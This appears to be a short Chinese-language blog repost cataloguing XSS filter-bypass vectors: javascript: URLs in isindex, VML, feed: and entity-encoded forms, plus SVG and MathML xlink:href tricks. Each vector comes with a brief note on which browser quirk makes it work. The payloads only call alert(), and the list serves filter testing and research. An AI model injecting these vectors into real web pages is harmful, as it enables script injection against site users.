XSS Funny Vector Review

<isindex formaction=javascript:alert(/sogili/) type=submit >
HTML3与HTML5混搭
 
x<oval style=behavior:url(#default#vml);height=00;width=00 href=javascript:alert(/sogili/) fillcolor=red xmlns=/>
IE的VML中的标签.
 
<a href="feed:javascript:alert(/sogili/)">click</a>
这个是Firefix对feed协议处理不当导致的,不知道算不算bug,但用来绕过A标签的协议检测倒是个不错的办法.
 
<a href="javascript&colon;alert(/sogili/)">click</a>
可以绕过不少xss filter,不过IE不支持这个实体字符.
 
<svg><script>&#97&#08;&#0;&#4&#6&#40&#49;&#x29;</script>
SVG解析script时会将其内部实体字符进行解码.

注：由于xml编码特性。在SVG向量里面的<script>元素（或者其他CDATA元素 ），会先进行xml解析。因此&#x28（十六进制）或者&#40（十进制）或者&lpar；（html实体编码）会被还原成（。
 
<svg><script/xlink:href=data:,alert()></script>
在SVG中使用外部script时,用的是xlink:href属性,而非src.
 
<svg><a xlink:href="javascript:alert()" href="// www.2cto.com "></a>
SVG解析A标签的超链接地址时使用的xlink:href属性,所以href并未生效.
 
<math xlink:href="javascript:alert()">xxx</math>
Math,新标签,MathML规范的实现,目前只有firefox实现.

转自：http://www.2cto.com/Article/201209/152549.html